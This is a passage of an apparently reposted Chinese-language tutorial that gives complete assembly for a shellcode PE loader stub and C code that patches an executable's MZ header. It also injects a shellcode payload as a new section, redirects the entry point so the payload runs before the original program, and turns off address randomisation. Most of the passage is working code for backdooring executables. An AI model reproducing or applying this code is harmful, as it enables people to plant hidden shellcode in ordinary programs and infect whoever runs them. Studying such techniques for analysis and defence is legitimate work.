        add     ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock]  ; ecx = current reloc block size
        add     edi, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock]  ; edi = next reloc position
        cmp     dword [edx + 4], ecx                                    ; if end of reloc block is reached
        jg     reloc_block

跳轉到 EntryPoint

        xor     ecx, ecx
        mov     eax, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohAddressOfEntryPoint]
        add     eax, dword [ebx]
        call    eax

PE 執行后的退出代碼

hldr_exit:
        lea     esp, dword [ebx + mapstk_size + krncrcstk_size]
        popad
        ret     4 
hldr_end:

最終的 stub 程序代碼:

hldr32.asm

bits 32
%include "hldr32.inc"

;-----------------------------------------------------------------------------
;recover kernel32 image base
;-----------------------------------------------------------------------------

hldr_begin:
        pushad                                  ;must save ebx/edi/esi/ebp
        ; push eax, ecx, edx, ebx, original esp, ebp, esi, edi
        push    tebProcessEnvironmentBlock      ; 0x30
        pop     eax                             ; eax = 0x30
        fs mov  eax, dword [eax]                ; eax = address of PEB
        mov     eax, dword [eax + pebLdr]       ; eax = address of PEB_LDR_DATA
        mov     esi, dword [eax + ldrInLoadOrderModuleList]     ; eax = first entry of ldrInLoadOrderModuleList
        lodsd                                   ; eax = second entry, ntdll.dll
        xchg    eax, esi                        
        lodsd                                   ; eax = third entry, kernel32.dll
        mov     ebp, dword [eax + mlDllBase]    ; eax = kernel32.dll base address
        call    parse_exports

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

        dd      0C97C1FFFh               ;GetProcAddress
        dd      03FC1BD8Dh               ;LoadLibraryA
        db      0

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

parse_exports:
        pop     esi                             ; esi = address of API CRC table
        mov     ebx, ebp                        ; ebx = base address of kernel32.dll
        mov     eax, dword [ebp + lfanew]       ; eax = RVA of PE signature
        add     ebx, dword [ebp + eax + IMAGE_DIRECTORY_ENTRY_EXPORT]   ; ebx = address of Export Table
        cdq                                     ; edx = 0, eax > 0

walk_names:
        mov     eax, ebp                        ; eax = base address of kernel32.dll
        mov     edi, ebp                        ; edi = base address of kernel32.dll
        inc     edx                             ; edx++
        add     eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNames]     ; eax = address of Name Pointer Table
        add     edi, dword [eax + edx * 4]      ; edi = edx'th function Name
        or      eax, -1                         ; eax = 0xffffffff

crc_outer:
        xor     al, byte [edi]                  ; al = ~byte [edi]
        push    8                               
        pop     ecx                             ; ecx = 8

crc_inner:
        shr     eax, 1                          ; eax >> 1
        jnc     crc_skip                        ; if eax[0] != 1
        xor     eax, 0edb88320h                 ; crc operation

crc_skip:
        loop    crc_inner
        inc     edi
        cmp     byte [edi], cl
        jne     crc_outer
        not     eax
        cmp     dword [esi], eax                ; compare API CRC
        jne     walk_names

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
        ; found GetProcAddress
        ; edx = position of GetProcAddress
        mov     edi, ebp                ; edi = base address of kernel32.dll
        mov     eax, ebp                ; eax = base address of kernel32.dll
        add     edi, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNameOrdinals]      ; edi = address of Ordinal Table
        movzx   edi, word [edi + edx * 2]       ; edi = Orinal Number of GetProcAddress
        add     eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfFunctions] ; eax = address of Address Table
        mov     eax, dword [eax + edi * 4]      ; eax = RVA of GetProcAddress
        add     eax, ebp                        ; eax = address of GetProcAddress
        push    eax                             ; push address of GetProcAddress/LoadLibraryA
        lodsd
        sub     cl, byte [esi]
        jnz     walk_names

;-----------------------------------------------------------------------------
;save the pointers to the PE structure
;-----------------------------------------------------------------------------

        ; stack looks like:
        ; ImageBase, pushed by header code
        ; ret to header code    4 bytes
        ; pushad registers      0x20 bytes
        ; GetProcAddress        4 bytes
        ; LoadLibraryA          <== esp

        mov     esi, dword [esp + krncrcstk_size + 20h + 4]     ; esi = ImageBase
        mov     ebp, dword [esi + lfanew]       ; ebp = RVA of PE signature
        add     ebp, esi                        ; ebp = address of PE signature

        push    esi
        mov     ebx, esp                        ; ebx = address of ImageBase
        mov     edi, esi                        ; edi = ImageBase

;-----------------------------------------------------------------------------
;import DLL
;-----------------------------------------------------------------------------

        pushad
        mov     cl, IMAGE_DIRECTORY_ENTRY_IMPORT
        mov     ebp, dword [ecx + ebp]          ; ebp = RVA of Import Table
        test    ebp, ebp                        ; check if PE has import table
        je      import_popad                    ; if import table not found, skip loading
        add     ebp, edi                        ; ebp = address of Import Table

import_dll:
        mov     ecx, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idName]      ; ecx = RVA of Import DLL Name
        jecxz   import_popad                                            ; jmp if ecx == 0
        add     ecx, dword [ebx]                                        ; ecx = address of Import DLL Name
        push    ecx                                                     ; address of Import DLL Name
        call    dword [ebx + mapstk_size + krncrcstk.kLoadLibraryA]     ; LoadLibraryA
        xchg    ecx, eax
        mov     edi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idFirstThunk]        ; edi = RVA of Import Address Table
        mov     esi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idOriginalFirstThunk]; esi = RVA of Import Name Table
        test    esi, esi                                                        ; if OriginalFirstThunk is NULL... 
        cmove   esi, edi                                                        ; use FirstThunk instead of OriginalFirstThunk
        add     esi, dword [ebx]                                                ; convert RVA to VA
        add     edi, dword [ebx]

import_thunks:
        lodsd                   ; eax = [esi], RVA of function name
        test    eax, eax
        je      import_next     ; reach 0x000000
        btr     eax, 31         
        jc      import_push
        add     eax, dword [ebx]; address of function Name
        inc     eax
        inc     eax

import_push:
        push    ecx             ; address of Import DLL Name, save ecx
        push    eax             ; address of function name
        push    ecx             ; address of Import DLL Name
        call    dword [ebx + mapstk_size + krncrcstk.kGetProcAddress]
        pop     ecx             ; restore ecx
        stosd                   ; store address of function to [edi]
        jmp     import_thunks

import_next:
        add     ebp, _IMAGE_IMPORT_DESCRIPTOR_size      ; turn to import next DLL functions
        jmp     import_dll

import_popad:
        popad

;-----------------------------------------------------------------------------
;apply relocations
;-----------------------------------------------------------------------------

        mov     cl, IMAGE_DIRECTORY_ENTRY_RELOCS
        lea     edx, dword [ebp + ecx]          ; relocation entry in data directory
        add     edi, dword [edx]                ; address of relocation block table
        xor     ecx, ecx

reloc_block:
        pushad
        mov     ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock]  ; ecx = size of block
        sub     ecx, IMAGE_BASE_RELOCATION_size                         ; ecx = size of block - 8(meta info size)
        cdq                                                             ; edx = 0, because eax = 0

reloc_addr:
        movzx   eax, word [edi + edx + IMAGE_BASE_RELOCATION_size]      ; eax = firt reloc entry (16bits: 4 bits type, 12 bits offset)
        push    eax                                                     ; save reloc entry
        and     ah, 0f0h                                                ; get type of reloc entry
        cmp     ah, IMAGE_REL_BASED_HIGHLOW << 4                        ; if reloc type == HIGHLOW
        pop     eax                                                     ; restore reloc entry
        jne     reloc_abs                                               ; another type not HIGHLOW
        and     ah, 0fh                                                 ; get offset
        add     eax, dword [edi + IMAGE_BASE_RELOCATION.rePageRVA]      ; eax = RVA of reloc address
        add     eax, dword [ebx]                                        ; eax = address of reloc address
        mov     esi, dword [eax]                                        ; esi = old reloc address
        sub     esi, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohImageBasex]
        add     esi, dword [ebx]                                        ; new reloc address = old reloc address - old ImageBase + new ImageBase
        mov     dword [eax], esi                                        ; change reloc address
        xor     eax, eax                                                ; eax = 0

reloc_abs:
        test    eax, eax                                                ; check for IMAGE_REL_BASED_ABSOLUTE
        jne     hldr_exit                                               ; not supported relocation type
        inc     edx                                                     ; counter += 2
        inc     edx
        cmp     ecx, edx                                                ; reloc entry left
        jg     reloc_addr
        popad                                                           ; relocated a block
        add     ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock]  ; ecx = current reloc block size
        add     edi, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock]  ; edi = next reloc position
        cmp     dword [edx + 4], ecx                                    ; if end of reloc block is reached
        jg     reloc_block

;-----------------------------------------------------------------------------
;call entrypoint
;
;to a DLL main:
;push 0
;push 1
;push dword [ebx]
;mov  eax, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohAddressOfEntryPoint]
;add  eax, dword [ebx]
;call eax
;
;to a RVA (an exported function's RVA, for example):
;
;mov  eax, 0xdeadf00d ; replace with addr
;add  eax, dword [ebx]
;call eax
;-----------------------------------------------------------------------------

        xor     ecx, ecx
        mov     eax, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohAddressOfEntryPoint]
        add     eax, dword [ebx]
        call    eax

;-----------------------------------------------------------------------------
;if fails or returns from host, restore stack and registers and return (somewhere)
;-----------------------------------------------------------------------------

hldr_exit:
        lea     esp, dword [ebx + mapstk_size + krncrcstk_size]
        popad
        ret     4 
hldr_end:

hldr32.inc

CREATE_ALWAYS                   equ     2
FILE_WRITE_DATA                 equ     2

PAGE_EXECUTE_READWRITE          equ     40h

MEM_COMMIT                      equ     1000h
MEM_RESERVE                     equ     2000h

tebProcessEnvironmentBlock      equ     30h
pebLdr                          equ     0ch
ldrInLoadOrderModuleList        equ     0ch
mlDllBase                       equ     18h

lfanew                          equ     3ch

IMAGE_DIRECTORY_ENTRY_EXPORT    equ     78h
IMAGE_DIRECTORY_ENTRY_IMPORT    equ     80h
IMAGE_DIRECTORY_ENTRY_RELOCS    equ     0a0h

IMAGE_REL_BASED_HIGHLOW         equ     3

struc    mapstk
.hImage: resd 1
endstruc

struc   krncrcstk
.kLoadLibraryA:          resd 1
.kGetProcAddress:        resd 1
endstruc

struc _IMAGE_FILE_HEADER
.fhMachine:              resw 1
.fhNumberOfSections:     resw 1
.fhTimeDateStamp:        resd 1
.fhPointerToSymbolTable: resd 1
.fhNumberOfSymbols:      resd 1
.fhSizeOfOptionalHeader: resw 1
.fhCharacteristics:      resw 1
endstruc

struc _IMAGE_OPTIONAL_HEADER
.ohMagic:                       resw 1
.ohMajorLinkerVersion:          resb 1
.ohMinorLinkerVersion:          resb 1
.ohSizeOfCode:                  resd 1
.ohSizeOfInitializedData:       resd 1
.ohSizeOfUninitializedData:     resd 1
.ohAddressOfEntryPoint:         resd 1
.ohBaseOfCode:                  resd 1
.ohBaseOfData:                  resd 1
.ohImageBasex:                  resd 1
.ohSectionAlignment:            resd 1
.ohFileAlignment:               resd 1
.ohMajorOperatingSystemVersion: resw 1
.ohMinorOperatingSystemVersion: resw 1
.ohMajorImageVersion:           resw 1
.ohMinorImageVersion:           resw 1
.ohMajorSubsystemVersion:       resw 1
.ohMinorSubsystemVersion:       resw 1
.ohWin32VersionValue:           resd 1
.ohSizeOfImage:                 resd 1
.ohSizeOfHeaders:               resd 1
endstruc

struc  _IMAGE_NT_HEADERS
.nthSignature:      resd 1
.nthFileHeader:     resb _IMAGE_FILE_HEADER_size
.nthOptionalHeader: resb _IMAGE_OPTIONAL_HEADER_size
endstruc

struc _IMAGE_SECTION_HEADER
.shName:                 resb 8
.shVirtualSize:          resd 1
.shVirtualAddress:       resd 1
.shSizeOfRawData:        resd 1
.shPointerToRawData:     resd 1
.shPointerToRelocations: resd 1
.shPointerToLinenumbers: resd 1
.shNumberOfRelocations:  resw 1
.shNumberOfLinenumbers:  resw 1
.shCharacteristics:      resd 1
endstruc

struc _IMAGE_IMPORT_DESCRIPTOR
.idOriginalFirstThunk: resd 1
.idTimeDateStamp:      resd 1
.idForwarderChain:     resd 1
.idName:               resd 1
.idFirstThunk:         resd 1
endstruc

struc IMAGE_BASE_RELOCATION
.rePageRVA:     resd 1
.reSizeOfBlock: resd 1
endstruc

struc _IMAGE_EXPORT_DIRECTORY
.edCharacteristics:       resd 1
.edTimeDateStamp:         resd 1
.edMajorVersion:          resw 1
.edMinorVersion:          resw 1
.edName:                  resd 1
.edBase:                  resd 1
.edNumberOfFunctions:     resd 1
.edNumberOfNames:         resd 1
.edAddressOfFunctions:    resd 1
.edAddressOfNames:        resd 1
.edAddressOfNameOrdinals: resd 1
endstruc                                   

PE DOS Header 的修改

PE DOS Header 相當於 shellcode 最前面的一部分代碼。PE DOS Header 中最重要的就是前兩個字節 ,DOS Signature,並且需要保證這一部分代碼長度小於 0x3c,因為 0x3c 位置存放着 PE SignatureRVA

PE DOS Header 前兩個字節為 0x4d, 0x5a。可以通過 [intel x86 opcode](coder32 edition | X86 Opcode and Instruction Reference 1.12 (x86asm.net)) 確定機器碼對應的匯編指令。下面這張圖片也有助於理解 opcode 的分布。

X86

void overwriteHeader(BYTE* file, DWORD addr) {
	BYTE redir_code[] = "\x4D" //dec ebp
		"\x5A" //pop edx
		"\x45" //inc ebp
		"\x52" //push edx
		"\xE8\x00\x00\x00\x00" //call <next_line>
		"\x5B" // pop ebx
		"\x48\x83\xEB\x09" // sub ebx,9
		"\x53" // push ebx (Image Base)
		"\x48\x81\xC3" // add ebx,
		"\x59\x04\x00\x00" // value
		"\xFF\xD3" // call ebx
		"\xc3"; // ret
	size_t offset = sizeof(redir_code) - 8;

	memcpy(redir_code + offset, &addr, sizeof(DWORD));
	memcpy(file, redir_code, sizeof(redir_code));
}

修改 PE 執行流程

構建 payload

實現 shellcode 之后,下一步實現修改 PE 執行流程,使得先執行 shellcode,再返回原來的 EntryPoint 執行的效果。

printf("building payload...\n");
	BYTE prefix[] = {
		0xe8, 0x06, 0x00, 0x00, 0x00,	// call shellcode
		0xe8, 0x00, 0x00, 0x00, 0x00,	// call Entry Point
		0xc3							// ret
	};
	size_t shellcodeSize = strlen(sc);
	BYTE* payload = (BYTE*)malloc(sizeof prefix + shellcodeSize);
	if (payload == NULL) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}
	memcpy(payload, prefix, sizeof prefix);
	memcpy(payload + sizeof prefix, sc, shellcodeSize);
	DWORD oldEntryPoint = pefile.pimageNTHeaders->OptionalHeader.AddressOfEntryPoint;
	DWORD newEntryPoint =
		pefile.ppimageSectionHeader[pefile.pimageNTHeaders->FileHeader.NumberOfSections - 1]->VirtualAddress +
		align(pefile.ppimageSectionHeader[pefile.pimageNTHeaders->FileHeader.NumberOfSections - 1]->Misc.VirtualSize,
			pefile.pimageNTHeaders->OptionalHeader.SectionAlignment);
	DWORD offset = oldEntryPoint - newEntryPoint - 10;
	printf("old Entry: %08x, new Entry: %08x, offset: %08x\n", oldEntryPoint, newEntryPoint, offset);
	memcpy(payload + 6, &offset, sizeof(DWORD));

payload 包括兩部分

  • prefix,prefix 的流程:
    • 跳轉到 shellcode
    • 跳轉到舊 Entry Point
  • shellcode,prefix 后面跟着 shellcode

插入新節

構建好 payload 之后,將 payload 作為新節插入 PE 文件中。

	// insert shellcode to a new section
	printf("insert new section...\n");
	insertNewCodeSection(&pefile, payload, sizeof prefix + shellcodeSize);

修改 PE 入口點

插入新節后,修改函數入口點為新節 RVA。

	// change Entry Point to newly inserted section
	pefile.pimageNTHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPoint;
	printf("change Adress of Entry Point to %x\n", newEntryPoint);

修改 DLL Characteristic

關閉 DLL 地址隨機化。

	pefile.pimageNTHeaders->OptionalHeader.DllCharacteristics = 0x8100;

保存 PE 文件

	// save PE file
	PESave(&pefile, argv[1]);


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM